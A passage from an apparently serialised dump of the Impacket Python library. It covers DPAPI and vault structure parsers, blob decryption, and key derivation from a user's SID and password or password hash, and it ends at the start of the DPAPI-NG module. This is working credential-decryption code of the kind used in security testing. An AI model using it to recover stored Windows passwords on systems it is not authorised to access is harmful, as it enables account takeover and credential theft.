'self[\"SecretLen\"]'),\n        ('SecretData', ':'),\n        ('_AccessCheck', '_-AccessCheck', 'self[\"AccessCheckLen\"]'),\n        ('AccessCheck', ':'),\n    )\n    def dump(self):\n        print(\"[DOMAINKEY]\")\n        print(\"Version       : %8x (%d)\" % (self['Version'], self['Version']))\n        print(\"Guid          : %s\" % bin_to_string(self['Guid']))\n        print(\"SecretLen     : %8x (%d)\" % (self['SecretLen'], self['SecretLen']))\n        print(\"AccessCheckLen: %.8x (%d)\" % (self['AccessCheckLen'], self['AccessCheckLen']))\n        print(\"SecretData    : %s\" % (hexlify(self['SecretData'])))\n        print(\"AccessCheck   : %s\" % (hexlify(self['AccessCheck'])))\n        print()\n\nclass DPAPI_SYSTEM(Structure):\n    structure = (\n        ('Version', '<L=0'),\n        ('MachineKey', '20s=b\"\"'),\n        ('UserKey', '20s=b\"\"'),\n    )\n\n    def dump(self):\n        print(\"[DPAPI_SYSTEM]\")\n        print(\"Version    : %8x (%d)\" % (self['Version'], self['Version']))\n        print(\"MachineKey : 0x%s\" % hexlify(self['MachineKey']).decode('latin-1'))\n        print(\"UserKey    : 0x%s\" % hexlify(self['UserKey']).decode('latin-1'))\n        print()\n\nclass CredentialFile(Structure):\n    structure = (\n        ('Version', '<L=0'),\n        ('Size', '<L=0'),\n        ('Unknown', '<L=0'),\n        ('_Data', '_-Data', 'self[\"Size\"]'),\n        ('Data', ':'),\n    )\n    #def dump(self):\n    #    print(\"[CREDENTIAL FILE]\")\n    #    print(\"Version    : %8x (%d)\" % (self['Version'], self['Version']))\n    #    print(\"MachineKey : %s\" % hexlify(self['MachineKey']))\n    #    print(\"UserKey    : %s\" % hexlify(self['UserKey']))\n    #    print(\"CryptAlgo   : %.8x (%d) (%s)\" % (self['CryptAlgo'], self['CryptAlgo'], ALGORITHMS(self['CryptAlgo']).name))\n    #    print()\n\n\nclass DPAPI_BLOB(Structure):\n    structure = (\n        ('Version', '<L=0'),\n        ('GuidCredential', \"16s=b\"\"\"),\n        ('MasterKeyVersion', '<L=0'),\n        ('GuidMasterKey', \"16s=b\"\"\"),\n        ('Flags', '<L=0'),\n\n        ('DescriptionLen', '<L=0'),\n        ('_Description', '_-Description', 'self[\"DescriptionLen\"]'),\n        ('Description', ':'),\n\n        ('CryptAlgo', '<L=0'),\n        ('CryptAlgoLen', '<L=0'),\n\n        ('SaltLen', '<L=0'),\n        ('_Salt', '_-Salt', 'self[\"SaltLen\"]'),\n        ('Salt', ':'),\n\n        ('HMacKeyLen', '<L=0'),\n        ('_HMacKey', '_-HMacKey', 'self[\"HMacKeyLen\"]'),\n        ('HMacKey', ':'),\n\n        ('HashAlgo', '<L=0'),\n        ('HashAlgoLen', '<L=0'),\n\n        ('HMac', '<L=0'),\n        ('_HMac', '_-HMac', 'self[\"HMac\"]'),\n        ('HMac', ':'),\n\n        ('DataLen', '<L=0'),\n        ('_Data', '_-Data', 'self[\"DataLen\"]'),\n        ('Data', ':'),\n\n        ('SignLen', '<L=0'),\n        ('_Sign', '_-Sign', 'self[\"SignLen\"]'),\n        ('Sign', ':'),\n\n    )\n\n    def dump(self):\n        print(\"[BLOB]\")\n        print(\"Version          : %8x (%d)\" % (self['Version'], self['Version']))\n        print(\"Guid Credential  : %s\" % bin_to_string(self['GuidCredential']))\n        print(\"MasterKeyVersion : %8x (%d)\" % (self['MasterKeyVersion'], self['MasterKeyVersion']))\n        print(\"Guid MasterKey   : %s\" % bin_to_string(self['GuidMasterKey']))\n        print(\"Flags            : %8x (%s)\" % (self['Flags'], getFlags(FLAGS, self['Flags'])))\n        print(\"Description      : %s\" % (self['Description'].decode('utf-16le')))\n        print(\"CryptAlgo        : %.8x (%d) (%s)\" % (self['CryptAlgo'], self['CryptAlgo'], ALGORITHMS(self['CryptAlgo']).name))\n        print(\"Salt             : %s\" % (hexlify(self['Salt'])))\n        print(\"HMacKey          : %s\" % (hexlify(self['HMacKey'])))\n        print(\"HashAlgo         : %.8x (%d) (%s)\" % (self['HashAlgo'], self['HashAlgo'], ALGORITHMS(self['HashAlgo']).name))\n        print(\"HMac             : %s\" % (hexlify(self['HMac'])))\n        print(\"Data             : %s\" % (hexlify(self['Data'])))\n        print(\"Sign             : %s\" % (hexlify(self['Sign'])))\n        print()\n\n\n    def deriveKey(self, sessionKey):\n        def fixparity(deskey):\n            from six import indexbytes, b\n            temp = b''\n            for i in range(len(deskey)):\n                t = (bin(indexbytes(deskey,i))[2:]).rjust(8,'0')\n                if t[:7].count('1') %2 == 0:\n                    temp+= b(chr(int(t[:7]+'1',2)))\n                else:\n                    temp+= b(chr(int(t[:7]+'0',2)))\n            return temp\n\n        if len(sessionKey) > ALGORITHMS_DATA[self['HashAlgo']][4]:\n            derivedKey = HMAC.new(sessionKey,  digestmod = ALGORITHMS_DATA[self['HashAlgo']][1]).digest()\n        else:\n            derivedKey = sessionKey\n\n\n        if len(derivedKey) < ALGORITHMS_DATA[self['CryptAlgo']][0]:\n            # Extend the key\n            derivedKey += b'\\x00'*ALGORITHMS_DATA[self['HashAlgo']][4]\n            ipad = bytearray([ i ^ 0x36 for i in bytearray(derivedKey)][:ALGORITHMS_DATA[self['HashAlgo']][4]])\n            opad = bytearray([ i ^ 0x5c for i in bytearray(derivedKey)][:ALGORITHMS_DATA[self['HashAlgo']][4]])\n            derivedKey = ALGORITHMS_DATA[self['HashAlgo']][1].new(ipad).digest() + \\\n                ALGORITHMS_DATA[self['HashAlgo']][1].new(opad).digest()\n            derivedKey = fixparity(derivedKey)\n\n        return derivedKey\n\n    def decrypt(self, key, entropy = None):\n        keyHash = SHA1.new(key).digest()\n        sessionKey = HMAC.new(keyHash, self['Salt'], ALGORITHMS_DATA[self['HashAlgo']][1])\n        if entropy is not None:\n            sessionKey.update(entropy)\n\n        sessionKey = sessionKey.digest()\n\n        # Derive the key\n        derivedKey = self.deriveKey(sessionKey)\n\n        cipher = ALGORITHMS_DATA[self['CryptAlgo']][1].new(derivedKey[:ALGORITHMS_DATA[self['CryptAlgo']][0]],\n                                mode=ALGORITHMS_DATA[self['CryptAlgo']][2], iv=b'\\x00'*ALGORITHMS_DATA[self['CryptAlgo']][3])\n        cleartext = unpad(cipher.decrypt(self['Data']), ALGORITHMS_DATA[self['CryptAlgo']][1].block_size)\n\n        # Now check the signature\n\n        # ToDo Fix this, it's just ugly, more testing so we can remove one\n        toSign = (self.rawData[20:len(self)-len(self['Sign'])-4])\n\n        # Calculate the different HMACKeys\n        keyHash2 = keyHash + b\"\\x00\"*ALGORITHMS_DATA[self['HashAlgo']][1].block_size\n        ipad = bytearray([i ^ 0x36 for i in bytearray(keyHash2)][:ALGORITHMS_DATA[self['HashAlgo']][1].block_size])\n        opad = bytearray([i ^ 0x5c for i in bytearray(keyHash2)][:ALGORITHMS_DATA[self['HashAlgo']][1].block_size])\n        a = ALGORITHMS_DATA[self['HashAlgo']][1].new(ipad)\n        a.update(self['HMac'])\n\n        hmacCalculated1 = ALGORITHMS_DATA[self['HashAlgo']][1].new(opad)\n        hmacCalculated1.update(a.digest())\n\n        if entropy is not None:\n            hmacCalculated1.update(entropy)\n\n        hmacCalculated1.update(toSign)\n\n        hmacCalculated3 = HMAC.new(keyHash, self['HMac'], ALGORITHMS_DATA[self['HashAlgo']][1])\n        if entropy is not None:\n            hmacCalculated3.update(entropy)\n\n        hmacCalculated3.update(toSign)\n\n        if hmacCalculated1.digest() == self['Sign'] or hmacCalculated3.digest() == self['Sign']:\n            return cleartext\n        else:\n            return None\n\nclass VAULT_ATTRIBUTE(Structure):\n    structure = (\n        ('Id', '<L=0'),\n        ('Unknown1', '<L=0'),\n        ('Unknown2', '<L=0'),\n        ('Unknown3', '<L=0'),\n    )\n\n    padding = (\n        ('Pad', '6s=b\"\"'),\n    )\n\n    id100 = (\n        ('Unknown5', '<L=0'),\n    )\n\n    extended = (\n        ('Size','<L=0'),\n        ('IVPresent', '<B=?&IVSize'),\n        ('IVSize', '<L=0'),\n        ('_IV', '_-IV', 'self[\"IVSize\"] if self[\"IVSize\"] is not None else 0'),\n        ('IV', ':'),\n        ('_Data','_-Data', 'self[\"Size\"]-self[\"IVSize\"]-5 if self[\"IVPresent\"] else self[\"Size\"]-1'),\n        ('Data',':'),\n    )\n    def __init__(self, data = None, alignment = 0):\n        if len(data) > 20:\n            if data[16:][:6] == b'\\x00'*6:\n                self.structure += self.padding\n            if unpack('<L',data[:4])[0] >= 100:\n                self.structure += self.id100\n            if len(data[16:]) >= 9:\n                self.structure += self.extended\n        Structure.__init__(self, data, alignment)\n\n\n    def dump(self):\n        print(\"[ATTRIBUTE %d]\" % self['Id'])\n        if len(self.rawData) > 28:\n            print(\"Size   : 0x%x\" % self['Size'])\n            if self['IVPresent'] > 0:\n                print(\"IVSize : 0x%x\" % self['IVSize'])\n                print(\"IV     : %s\" % hexlify(self['IV']))\n            print(\"Data   : %s\" % hexlify(self['Data']))\n\nclass VAULT_ATTRIBUTE_MAP_ENTRY(Structure):\n    structure = (\n        ('Id', '<L=0'),\n        ('Offset', '<L=0'),\n        ('Unknown1', '<L=0'),\n    )\n    def dump(self):\n        print(\"[MAP ENTRY %d @ 0x%.8x]\" % (self['Id'], self['Offset']))\n\nclass VAULT_VCRD(Structure):\n    structure = (\n        ('SchemaGuid', \"16s=b\"\"\"),\n        ('Unknown0', '<L=0'),\n        ('LastWritten', '<Q=0'),\n        ('Unknown1', '<L=0'),\n        ('Unknown2', '<L=0'),\n        ('FriendlyNameLen', '<L=0'),\n        ('FriendlyNameL', '_-FriendlyName', 'self[\"FriendlyNameLen\"]'),\n        ('FriendlyName', ':'),\n        ('AttributesMapsSize', '<L=0'),\n        ('AttributeL', '_-AttributeMaps', 'self[\"AttributesMapsSize\"]'),\n        ('AttributeMaps', ':'),\n        ('Data', ':'),\n    )\n\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self, data, alignment)\n        if data is not None:\n            # Process the MAP entries\n            self.mapEntries = list()\n            data = self['AttributeMaps']\n            for i in range(self['AttributesMapsSize']//len(VAULT_ATTRIBUTE_MAP_ENTRY())):\n                entry = VAULT_ATTRIBUTE_MAP_ENTRY(data)\n                self.mapEntries.append(entry)\n                data = data[len(VAULT_ATTRIBUTE_MAP_ENTRY()):]\n\n            self.attributesLen = list()\n\n            for i in range(len(self.mapEntries)):\n                if i > 0:\n                    self.attributesLen.append(self.mapEntries[i]['Offset']-self.mapEntries[i-1]['Offset'])\n\n            self.attributesLen.append(len(self.rawData) - self.mapEntries[i]['Offset'] )\n\n            self.attributes = list()\n            for i, entry in enumerate(self.mapEntries):\n                attribute = VAULT_ATTRIBUTE(self.rawData[entry['Offset']:][:self.attributesLen[i]])\n                self.attributes.append(attribute)\n\n            # Do we have remaining data?\n            self['Data'] = self.rawData[self.mapEntries[-1]['Offset']+len(self.attributes[-1].getData()):]\n\n    def dump(self):\n        print(\"[VCRD]\")\n        print(\"SchemaGuid  : %s\" % bin_to_string(self['SchemaGuid']))\n        print(\"LastWritten : %s\" % (datetime.fromtimestamp(getUnixTime(self['LastWritten']), tz=timezone.utc)))\n        print(\"FriendlyName: %s\" % (self['FriendlyName'].decode('utf-16le')))\n        print()\n        for i,entry in enumerate(self.mapEntries):\n            entry.dump()\n            self.attributes[i].dump()\n        print()\n        print(\"Remaining   : %s\" % (hexlify(self['Data'])))\n        print()\n\nclass VAULT_VPOL(Structure):\n    structure = (\n        ('Version', '<L=0'),\n        ('Guid', \"16s=b\"\"\"),\n        ('DescriptionLen', '<L=0'),\n        ('_Description', '_-Description', 'self[\"DescriptionLen\"]'),\n        ('Description', ':'),\n        ('Unknown', '12s=b\"\"'),\n        ('Size', '<L=0'),\n        ('Guid2', \"16s=b\"\"\"),\n        ('Guid3', \"16s=b\"\"\"),\n        ('KeySize','<L=0'),\n        ('_Blob', '_-Blob', 'self[\"KeySize\"]'),\n        ('Blob', ':', DPAPI_BLOB),\n    )\n\n    def dump(self):\n        print(\"[VAULT_VPOL]\")\n        print(\"Version      : %8x (%d)\" % (self['Version'], self['Version']))\n        print(\"Guid         : %s\" % bin_to_string(self['Guid']))\n        print(\"Description  : %s\" % (self['Description'].decode('utf-16le')))\n        print(\"Size         : 0x%.8x (%d)\" % (self['Size'], self['Size']))\n        print(\"Guid2        : %s\" % bin_to_string(self['Guid2']))\n        print(\"Guid3        : %s\" % bin_to_string(self['Guid3']))\n        print(\"KeySize      : 0x%.8x (%d)\" % (self['KeySize'], self['KeySize']))\n        self['Blob'].dump()\n        print()\n\n# from bcrypt.h\nclass BCRYPT_KEY_DATA_BLOB_HEADER(Structure):\n    structure = (\n        ('dwMagic','<L=0'),\n        ('dwVersion','<L=0'),\n        ('cbKeyData','<L=0'),\n        ('_bKey','_-bKey', 'self[\"cbKeyData\"]'),\n        ('bKey',':'),\n    )\n\n# from https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEFCON-24-Jkambic-Cunning-With-Cng-Soliciting-Secrets-From-Schannel-WP.pdf\nclass BCRYPT_KSSM_DATA_BLOB_HEADER(Structure):\n    structure = (\n        ('cbLength','<L=0'),\n        ('dwKeyMagic','<L=0'),\n        ('dwUnknown2','<L=0'),\n        ('dwUnknown3','<L=0'),\n        ('dwKeyBitLen','<L=0'),\n        ('cbKeyLength','<L=0'),\n        #('_bKey','_-bKey', 'self[\"cbKeyData\"]'),\n        #('AesKey','32s=\"\"'),\n        #('dwUnknown4','<L=0'),\n        #('KeySchedule','448s=\"\"'),\n        #('dwUnknown5','<L=0'),\n        #('cbScheduleLen','<L=0'),\n        #('Unknown6','16s=\"\"'),\n    )\n\nclass BCRYPT_KEY_WRAP(Structure):\n    structureKDBM = (\n        ('Size','<L=0'),\n        ('Version','<L=0'),\n        ('Unknown2','<L=0'),\n        ('_bKeyBlob','_-bKeyBlob', 'self[\"Size\"]'),\n        ('bKeyBlob',':', BCRYPT_KEY_DATA_BLOB_HEADER),\n    )\n    structureKSSM = (\n        ('Size','<L=0'),\n        ('Version','<L=0'),\n        ('Unknown2','<L=0'),\n        ('_bKeyBlob','_-bKeyBlob', 'self[\"Size\"]-8'),\n        ('bKeyBlob',':'),\n    )\n    def __init__(self, data = None, alignment = 0):\n        if len(data) >=16:\n            if data[0:1] == b'\\x24' or data[0:1] == b'\\x34':\n                self.structure = self.structureKDBM\n            else:\n                self.structure = self.structureKSSM\n        Structure.__init__(self, data, alignment)\n\nclass VAULT_VPOL_KEYS(Structure):\n    structure = (\n        ('Key1',':', BCRYPT_KEY_WRAP),\n        ('Key2',':', BCRYPT_KEY_WRAP),\n    )\n    def dump(self):\n        print(\"[VAULT_VPOL_KEYS]\")\n        if self['Key1']['Size'] > 0x24:\n            print('Key1:')\n            hexdump(self['Key1']['bKeyBlob'])\n            print('Key2:')\n            hexdump(self['Key2']['bKeyBlob'])\n        else:\n            print('Key1: 0x%s' % hexlify(self['Key1']['bKeyBlob']['bKey']).decode('latin-1'))\n            print('Key2: 0x%s' % hexlify(self['Key2']['bKeyBlob']['bKey']).decode('latin-1'))\n            print()\n\nclass VAULT_INTERNET_EXPLORER(Structure):\n    structure = (\n        ('Version','<L=0'),\n        ('Count','<L=0'),\n        ('Unknown','<L=0'),\n        ('Id1', '<L=0'),\n        ('UsernameLen', '<L=0'),\n        ('_Username', '_-Username','self[\"UsernameLen\"]'),\n        ('Username', ':'),\n\n        ('Id2', '<L=0'),\n        ('ResourceLen', '<L=0'),\n        ('_Resource', '_-Resource', 'self[\"ResourceLen\"]'),\n        ('Resource', ':'),\n\n        ('Id3', '<L=0'),\n        ('PasswordLen', '<L=0'),\n        ('_Password', '_-Password', 'self[\"PasswordLen\"]'),\n        ('Password', ':'),\n    )\n    def fromString(self, data):\n        Structure.fromString(self, data)\n\n    def dump(self):\n        print(\"[Internet Explorer]\")\n        print('Username        : %s' % self['Username'].decode('utf-16le'))\n        print('Resource        : %s' % self['Resource'].decode('utf-16le'))\n        print('Password        : %s' % (hexlify(self['Password'])))\n        print()\n\nclass VAULT_WIN_BIO_KEY(Structure):\n    structure = (\n        ('Version','<L=0'),\n        ('Count','<L=0'),\n        ('Unknown','<L=0'),\n        ('Id1', '<L=0'),\n        ('SidLen', '<L=0'),\n        ('_Sid', '_-Sid','self[\"SidLen\"]'),\n        ('Sid', ':'),\n\n        ('Id2', '<L=0'),\n        ('NameLen', '<L=0'),\n        ('_Name', '_-Name', 'self[\"NameLen\"]'),\n        ('Name', ':'),\n\n        ('Id3', '<L=0'),\n        ('BioKeyLen', '<L=0'),\n        ('_BioKey', '_-BioKey', 'self[\"BioKeyLen\"]'),\n        ('BioKey', ':'),\n    )\n    def fromString(self, data):\n        Structure.fromString(self, data)\n        if data is not None:\n            bioKey = BCRYPT_KEY_DATA_BLOB_HEADER(unhexlify(self['BioKey'].decode('utf-16le')[:-1]))\n            self['BioKey'] = bioKey\n\n    def dump(self):\n        print(\"[WINDOWS BIOMETRIC KEY]\")\n        print('Sid          : %s' % RPC_SID(b'\\x05\\x00\\x00\\x00'+self['Sid']).formatCanonical())\n        print('Friendly Name: %s' % self['Name'].decode('utf-16le'))\n        print('Biometric Key: 0x%s' % (hexlify(self['BioKey']['bKey'])).decode('latin-1'))\n        print()\n\nclass NGC_LOCAL_ACCOOUNT(Structure):\n    structure = (\n        ('Version','<L=0'),\n        ('UnlockKeySize','<L=0'),\n        ('IVSize','<L=0'),\n        ('CipherTextSize','<L=0'),\n        ('MustBeZeroTest','<L=0'),\n        ('_UnlockKey', '_-UnlockKey', 'self[\"UnlockKeySize\"]'),\n        ('UnlockKey', ':'),\n        ('_IV', '_-IV', 'self[\"IVSize\"]'),\n        ('IV', ':'),\n        ('_CipherText', '_-CipherText', 'self[\"CipherTextSize\"]'),\n        ('CipherText', ':'),\n    )\n#    def __init__(self, data=None, alignment = 0):\n#        hexdump(data)\n    def dump(self):\n        print(\"[NGC LOCAL ACCOOUNT]\")\n        print('UnlockKey    : %s' % hexlify(self[\"UnlockKey\"]))\n        print('IV           : %s' % hexlify(self[\"IV\"]))\n        print('CipherText   : %s' % hexlify(self[\"CipherText\"]))\n\nclass VAULT_NGC_ACCOOUNT(Structure):\n    structure = (\n        ('Version','<L=0'),\n        ('Count','<L=0'),\n        ('Unknown','<L=0'),\n        ('Id1', '<L=0'),\n        ('SidLen', '<L=0'),\n        ('_Sid', '_-Sid','self[\"SidLen\"]'),\n        ('Sid', ':'),\n\n        ('Id2', '<L=0'),\n        ('NameLen', '<L=0'),\n        ('_Name', '_-Name', 'self[\"NameLen\"]'),\n        ('Name', ':'),\n\n        ('Id3', '<L=0'),\n        ('BlobLen', '<L=0'),\n        ('Blob', '_-Blob', 'self[\"BlobLen\"]'),\n        ('Blob', ':', NGC_LOCAL_ACCOOUNT),\n    )\n    def dump(self):\n        print(\"[NGC VAULT]\")\n        print('Sid          : %s' % RPC_SID(b'\\x05\\x00\\x00\\x00'+self['Sid']).formatCanonical())\n        print('Friendly Name: %s' % self['Name'].decode('utf-16le'))\n        self['Blob'].dump()\n        print()\n\nVAULT_KNOWN_SCHEMAS = {\n    'WinBio Key': VAULT_WIN_BIO_KEY,\n    'NGC Local Accoount Logon Vault Credential': VAULT_NGC_ACCOOUNT,\n    'Internet Explorer': VAULT_INTERNET_EXPLORER,\n}\n\nclass CREDENTIAL_ATTRIBUTE(Structure):\n    # some info here https://docs.microsoft.com/en-us/windows/desktop/api/wincred/ns-wincred-_credential_attributea\n    structure = (\n        ('Flags','<L=0'),\n\n        ('KeyWordSize', '<L=0'),\n        ('_KeyWord', '_-KeyWord', 'self[\"KeyWordSize\"]'),\n        ('KeyWord', ':'),\n\n        ('DataSize', '<L=0'),\n        ('_Data', '_-Data', 'self[\"DataSize\"]'),\n        ('Data', ':'),\n    )\n\n    def dump(self):\n        print(\"KeyWord : %s\" % (self['KeyWord'].decode('utf-16le')))\n        #print(\"Flags   : %8x (%s)\" % (self['Flags'], getFlags(CREDENTIAL_FLAGS, self['Flags'])))\n        print(\"Data    : \")\n        hexdump(self['Data'])\n\nclass CREDENTIAL_BLOB(Structure):\n    # some info here https://docs.microsoft.com/en-us/windows/desktop/api/wincred/ns-wincred-_credentiala\n    structure = (\n        ('Flags','<L=0'),\n        ('Size','<L=0'),\n        ('Unknown0','<L=0'),\n        ('Type','<L=0'),\n        ('Flags2','<L=0'),\n        ('LastWritten','<Q=0'),\n        ('Unknown2','<L=0'),\n        ('Persist','<L=0'),\n        ('AttrCount','<L=0'),\n        ('Unknown3','<Q=0'),\n\n        ('TargetSize','<L=0'),\n        ('_Target','_-Target','self[\"TargetSize\"]'),\n        ('Target',':'),\n\n        ('TargetAliasSize', '<L=0'),\n        ('_TargetAliast', '_-TargetAlias', 'self[\"TargetAliasSize\"]'),\n        ('TargetAlias', ':'),\n\n        ('DescriptionSize', '<L=0'),\n        ('_Description', '_-Description', 'self[\"DescriptionSize\"]'),\n        ('Description', ':'),\n\n        ('UnknownSize', '<L=0'),\n        ('_Unknown', '_-Unknown', 'self[\"UnknownSize\"]'),\n        ('Unknown', ':'),\n\n        ('UsernameSize', '<L=0'),\n        ('_Username', '_-Username', 'self[\"UsernameSize\"]'),\n        ('Username', ':'),\n\n        ('Unknown3Size', '<L=0'),\n        ('_Unknown3', '_-Unknown3', 'self[\"Unknown3Size\"]'),\n        ('Unknown3', ':'),\n\n        ('Remaining', ':'),\n    )\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self, data, alignment)\n        self.attributes = 0\n        if data is not None:\n            # Unpack the attributes\n            remaining = self['Remaining']\n            self.attributes = list()\n            for i in range(self['AttrCount']):\n                attr = CREDENTIAL_ATTRIBUTE(remaining)\n                self.attributes.append(attr)\n                remaining = remaining[len(attr):]\n\n    def dump(self):\n        print(\"[CREDENTIAL]\")\n        print(\"LastWritten : %s\" % (datetime.fromtimestamp(getUnixTime(self['LastWritten']), tz=timezone.utc)))\n        print(\"Flags       : 0x%.8x (%s)\" % (self['Flags'], getFlags(CREDENTIAL_FLAGS, self['Flags'])))\n        print(\"Persist     : 0x%.8x (%s)\" % (self['Persist'], CREDENTIAL_PERSIST(self['Persist']).name))\n        print(\"Type        : 0x%.8x (%s)\" % (self['Type'], CREDENTIAL_TYPE(self['Type']).name))\n        print(\"Target      : %s\" % (self['Target'].decode('utf-16le')))\n        print(\"Description : %s\" % (self['Description'].decode('utf-16le')))\n        print(\"Unknown     : %s\" % (self['Unknown'].decode('utf-16le')))\n        print(\"Username    : %s\" % (self['Username'].decode('utf-16le')))\n        try:\n            print(\"Unknown     : %s\" % (self['Unknown3'].decode('utf-16le')))\n        except UnicodeDecodeError:\n            print(\"Unknown     : %s\" % (self['Unknown3'].decode('latin-1')))\n\n        print()\n        for entry in self.attributes:\n            entry.dump()\n\nALG_ID = '<L=0'\n\nclass P_BACKUP_KEY(Structure):\n    structure = (\n        ('Version', '<L=0'),\n        ('Data', ':'),\n    )\n\nclass PREFERRED_BACKUP_KEY(Structure):\n    structure = (\n        ('Version', '<L=0'),\n        ('KeyLength', '<L=0'),\n        ('CertificateLength', '<L=0'),\n        ('Data', ':'),\n    )\n\nclass PVK_FILE_HDR(Structure):\n    structure = (\n        ('dwMagic', '<L=0'),\n        ('dwVersion', '<L=0'),\n        ('dwKeySpec', '<L=0'),\n        ('dwEncryptType', '<L=0'),\n        ('cbEncryptData', '<L=0'),\n        ('cbPvk', '<L=0'),\n    )\n\nclass PUBLICKEYSTRUC(Structure):\n    structure = (\n        ('bType', '<B=0'),\n        ('bVersion', '<B=0'),\n        ('reserved', '<H=0'),\n        ('aiKeyAlg', ALG_ID),\n    )\n\nclass RSAPUBKEY(Structure):\n    structure = (\n        ('magic', '<L=0'),\n        ('bitlen', '<L=0'),\n        ('pubexp', '<L=0'),\n    )\n\nclass PUBLIC_KEY_BLOB(Structure):\n    structure = (\n        ('publickeystruc', ':', PUBLICKEYSTRUC),\n        ('rsapubkey', ':', RSAPUBKEY),\n        ('_modulus', '_-modulus', 'self[\"rsapubkey\"][\"bitlen\"] // 8'),\n    )\n\nclass PRIVATE_KEY_BLOB(Structure):\n    structure = (\n        ('publickeystruc', ':', PUBLICKEYSTRUC),\n        ('rsapubkey', ':', RSAPUBKEY),\n        ('_modulus', '_-modulus', 'self[\"rsapubkey\"][\"bitlen\"] // 8'),\n        ('modulus', ':'),\n        ('_prime1', '_-prime1', 'self[\"rsapubkey\"][\"bitlen\"] // 16'),\n        ('prime1', ':'),\n        ('_prime2', '_-prime2', 'self[\"rsapubkey\"][\"bitlen\"] // 16'),\n        ('prime2', ':'),\n        ('_exponent1', '_-exponent1', 'self[\"rsapubkey\"][\"bitlen\"] // 16'),\n        ('exponent1', ':'),\n        ('_exponent2', '_-exponent2', 'self[\"rsapubkey\"][\"bitlen\"] // 16'),\n        ('exponent2', ':'),\n        ('_coefficient', '_-coefficient', 'self[\"rsapubkey\"][\"bitlen\"] // 16'),\n        ('coefficient', ':'),\n        ('_privateExponent', '_-privateExponent', 'self[\"rsapubkey\"][\"bitlen\"] // 8'),\n        ('privateExponent', ':'),\n    )\n\nclass SIMPLE_KEY_BLOB(Structure):\n    structure = (\n        ('publickeystruc', ':', PUBLICKEYSTRUC),\n        ('algid', ALG_ID),\n        ('encryptedkey', ':'),\n    )\n\nclass DPAPI_DOMAIN_RSA_MASTER_KEY(Structure):\n    structure = (\n        ('cbMasterKey', '<L=0'),\n        ('cbSuppKey', '<L=0'),\n        ('buffer', ':'),\n    )\n\ndef privatekeyblob_to_pkcs1(key):\n    '''\n    parse private key into pkcs#1 format\n    :param key:\n    :return:\n    '''\n    modulus = bytes_to_long(key['modulus'][::-1]) # n\n    prime1 = bytes_to_long(key['prime1'][::-1]) # p\n    prime2 = bytes_to_long(key['prime2'][::-1]) # q\n    exp1 = bytes_to_long(key['exponent1'][::-1])\n    exp2 = bytes_to_long(key['exponent2'][::-1])\n    coefficient = bytes_to_long(key['coefficient'][::-1])\n    privateExp = bytes_to_long(key['privateExponent'][::-1]) # d\n    if PY3:\n        long = int\n    pubExp = long(key['rsapubkey']['pubexp']) # e\n    # RSA.Integer(prime2).inverse(prime1) # u\n\n    r = RSA.construct((modulus, pubExp, privateExp, prime1, prime2))\n    return r\n\ndef deriveKeysFromUser(sid, password):\n        # Will generate two keys, one with SHA1 and another with MD4\n        key1 = HMAC.new(SHA1.new(password.encode('utf-16le')).digest(), (sid + '\\0').encode('utf-16le'), SHA1).digest()\n        key2 = HMAC.new(MD4.new(password.encode('utf-16le')).digest(), (sid + '\\0').encode('utf-16le'), SHA1).digest()\n        # For Protected users\n        tmpKey = pbkdf2_hmac('sha256', MD4.new(password.encode('utf-16le')).digest(), sid.encode('utf-16le'), 10000)\n        tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16]\n        key3 = HMAC.new(tmpKey2, (sid + '\\0').encode('utf-16le'), SHA1).digest()[:20]\n\n        return [key1, key2, key3]\n\ndef deriveKeysFromUserkey(sid, pwdhash):\n    if len(pwdhash) == 20:\n        # SHA1\n        key1 = HMAC.new(pwdhash, (sid + '\\0').encode('utf-16le'), SHA1).digest()\n        return [key1]\n\n    # Assume MD4\n    key1 = HMAC.new(pwdhash, (sid + '\\0').encode('utf-16le'), SHA1).digest()\n    # For Protected users\n    tmpKey = pbkdf2_hmac('sha256', pwdhash, sid.encode('utf-16le'), 10000)\n    tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16]\n    key2 = HMAC.new(tmpKey2, (sid + '\\0').encode('utf-16le'), SHA1).digest()[:20]\n\n    return [key1, key2]\n"
  },
  {
    "path": "impacket/dpapi_ng.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n\nimport math\nimport struct\nfrom impacket.dcerpc.v5.gkdi import ECDHKey, FFCDHKey, GroupKeyEnvelope\nfrom impacket.ldap.ldaptypes import ACE, ACL, ACCESS_ALLOWED_ACE, ACCESS_MASK, SR_SECURITY_DESCRIPTOR, LDAP_SID\nfrom impacket.structure import Structure\nfrom Cryptodome.Hash import SHA512, SHA256, HMAC\nfrom Cryptodome.Util.number import long_to_bytes\nfrom Cryptodome.Util.py3compat import iter_range\nfrom Cryptodome.Cipher import AES\n\nKDS_SERVICE_LABEL = \"KDS service\\0\".encode(\"utf-16-le\")\nKEK_PUBLIC_KEY_LABEL = \"KDS public key\\0\".encode(\"utf-16le\")\n\ndef SP800_108_Counter(master, key_len, prf, num_keys=None, label=b'', context=b''):\n    \"\"\"Derive one or more keys from a master secret using\n    a pseudorandom function in Counter Mode, as specified in\n    `NIST SP 800-108r1 <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-108r1.pdf>`_.\n\n    Modified version for Impacket, accepting null_bytes\n\n    Args:\n     master (byte string):\n        The secret value used by the KDF to derive the other keys.\n        It must not be a password.\n        The length on the secret must be consistent with the input expected by\n        the :data:`prf` function.\n     key_len (integer):\n        The length in bytes of each derived key.\n     prf (function):\n        A pseudorandom function that takes two byte strings as parameters:\n        the secret and an input. It returns another byte string.\n     num_keys (integer):\n        The number of keys to derive. Every key is :data:`key_len` bytes long.\n        By default, only 1 key is derived.\n     label (byte string):\n        Optional description of the purpose of the derived keys.\n        It must not contain zero bytes.\n     context (byte string):\n        Optional information pertaining to\n        the protocol that uses the keys, such as the identity of the\n        participants, nonces, session IDs, etc.\n        It must not contain zero bytes.\n\n    Return:\n        - a byte string (if ``num_keys`` is not specified), or\n        - a tuple of byte strings (if ``num_key`` is specified).\n    \"\"\"\n\n    if num_keys is None:\n        num_keys = 1\n\n    